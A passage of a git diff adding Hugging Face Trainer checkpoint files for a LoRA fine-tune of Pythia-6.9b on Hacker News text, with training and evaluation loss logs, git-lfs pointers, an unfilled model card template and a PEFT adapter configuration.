"eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.134007692337036, + "learning_rate": 3.259259259259259e-05, + "loss": 1.8207, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.8566880226135254, + "eval_runtime": 43.8138, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0055992603302, + "learning_rate": 3.140740740740741e-05, + "loss": 1.8202, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.8746020793914795, + "eval_runtime": 43.821, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 3.008761405944824, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.854, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.856834888458252, + "eval_runtime": 43.8079, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.0921030044555664, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8381, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.8608105182647705, + "eval_runtime": 43.8102, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.2031877040863037, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8526, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.8591396808624268, + "eval_runtime": 43.8197, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 3.2067291736602783, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.8094, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.8479180335998535, + "eval_runtime": 43.8043, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.353001117706299, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.685, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.942011833190918, + "eval_runtime": 43.8062, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 3.2993152141571045, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.7213, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.9439539909362793, + "eval_runtime": 43.8327, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.5732359886169434, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.7484, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.9356353282928467, + "eval_runtime": 43.7981, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 5.271646976470947, + "learning_rate": 2.192592592592593e-05, + "loss": 1.7342, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.955838441848755, + "eval_runtime": 43.8068, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 5.032471656799316, + "learning_rate": 2.074074074074074e-05, + "loss": 1.7208, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.931419849395752, + "eval_runtime": 43.8221, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.852, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.4340333938598633, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7117, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.938490629196167, + "eval_runtime": 43.8201, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 510 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 8.35689671294976e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..4526f071f029c096e5507070d38c6bc43dbdf9ff --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5e82c70b693375ff4a3204e01c04224f63143fa249a106aea0df45487c137732 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..fb06f27fdc1bdec5afb40fa1652463fc73a22a6d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:62c3941c07f4698894811e50d3f0cf928f6d65892d00f92fcebbe09612962071 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..736afdcce42e3e1d5dec3aedeed239bc0b63975c --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:ca29f15bc2264125f00923607dbea007ec921af3e528271a2bb77db5cd4d2b66 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..d470aca3bc75a59cd83f65a7641e2227523184b0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:54453f7799a2c12a65729e49535ef0d1133252bbba34418ca96403f477d1ed92 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..992fb80630c5f161bdd68080c2e32f405b7fd078 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/trainer_state.json @@ -0,0 +1,813 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 6.933333333333334, + "eval_steps": 10, + "global_step": 520, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 